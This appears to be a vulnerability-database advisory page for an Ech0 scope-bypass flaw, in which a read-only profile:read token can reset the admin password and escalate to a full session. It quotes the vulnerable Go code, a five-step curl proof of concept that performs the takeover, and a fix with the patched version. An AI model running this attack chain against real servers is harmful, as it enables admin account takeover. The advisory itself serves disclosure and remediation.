CVE-2026-79673Medium· 6.5▾ SunlitEch0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session
▾ Sunlit zone — Low / medium · no exploitation signal
impact 35.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 27.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
The PUT /user endpoint is protected by RequireScopes("profile:read"), which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted profile:read access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement.
The scope enforcement system defines granular scopes (e.g., echo:read, echo:write, admin:user) but has no profile:write scope. The PUT /user route is protected only by profile:read:
// internal/router/user.go:40-44
appRouterGroup.AuthRouterGroup.PUT(
"/user",
middleware.RequireScopes(authModel.ScopeProfileRead),
h.UserHandler.UpdateUser(),
)
The RequireScopes middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:
// internal/middleware/scope.go:14-19
func RequireScopes(scopes ...string) gin.HandlerFunc {
return func(ctx *gin.Context) {
v := viewer.MustFromContext(ctx.Request.Context())
if v.TokenType() == authModel.TokenTypeSession {
ctx.Next()
return
}
// ... checks access token has required scopes (line 53)
The UpdateUser service checks user.IsAdmin but does not verify the token's scope is sufficient for write operations:
// internal/service/user/user.go:271-300
func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {
userid := viewer.MustFromContext(ctx).UserID()
user, err := userService.userRepository.GetUserByID(ctx, userid)
// ...
if !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
// ...
if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {
user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299
}
After the password is changed, the attacker logs in via POST /login which calls issueUserToken → CreateClaims, producing a session token with Type: "session" (jwt.go:33). Session tokens bypass RequireScopes entirely, granting unrestricted API access.
Escalation chain: profile:read access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including admin:settings, admin:user, admin:token, file:write, etc.
# Prerequisites: Admin has created a profile:read access token for a read-only integration
# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)
ACCESS_TOKEN="<admin_profile_read_access_token>"
SERVER="http://localhost:8080"
# Step 1: Verify the token only has profile:read scope (can read profile)
curl -s -X GET "$SERVER/api/user" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 200 OK with user profile data
# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)
curl -s -X GET "$SERVER/api/allusers" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 403 Forbidden (requires admin:user scope)
# Step 3: Change the admin's password using the profile:read token
curl -s -X PUT "$SERVER/api/user" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{"password":"attackerpass123"}'
# Expected: 200 OK — password changed despite only having profile:read scope
# Step 4: Login with the new password to get an unrestricted session token
curl -s -X POST "$SERVER/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"attackerpass123"}'
# Expected: 200 OK with session JWT token
# Step 5: Use the session token to access admin-only endpoints
SESSION_TOKEN="<session_token_from_step_4>"
curl -s -X GET "$SERVER/api/allusers" \
-H "Authorization: Bearer $SESSION_TOKEN"
# Expected: 200 OK — full admin access, all scope restrictions bypassed
An attacker who obtains an admin's profile:read access token — intended to be the most restrictive scope available — can:
admin:user), system settings (admin:settings), token management (admin:token), file operations (file:write), and all content operationsThis defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.
Add a profile:write scope and require it for the PUT /user endpoint:
// internal/model/auth/scope.go — add new scope
const (
// ... existing scopes ...
ScopeProfileRead = "profile:read"
ScopeProfileWrite = "profile:write" // NEW
)
var validScopes = map[string]struct{}{
// ... existing entries ...
ScopeProfileWrite: {}, // NEW
}
// internal/router/user.go:40-44 — require profile:write for PUT
appRouterGroup.AuthRouterGroup.PUT(
"/user",
middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead
h.UserHandler.UpdateUser(),
)
Similarly, update other write operations currently gated behind profile:read:
POST /oauth/:provider/bind → require profile:writePOST /passkey/register/begin and /finish → require profile:writeDELETE /passkeys/:id → require profile:writePUT /passkeys/:id → require profile:writegithub.com/lin-snow/ech0 < 4.4.3Upgrade to a patched release:
github.com/lin-snow/ech0 4.4.3Connected by shared product, vendor, weakness, or advisory.
CVE-2026-79669Medium· 4.3Ech0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure
CVE-2026-79671Medium· 5.5Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation
CVE-2026-79672Medium· 5.5Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass
CVE-2026-79670Medium· 4.8Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload
CVE-2026-79660Medium· 5.3Ech0 comment model's Email field returned on public /api/comments endpoints
CVE-2026-79668Medium· 5.3Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation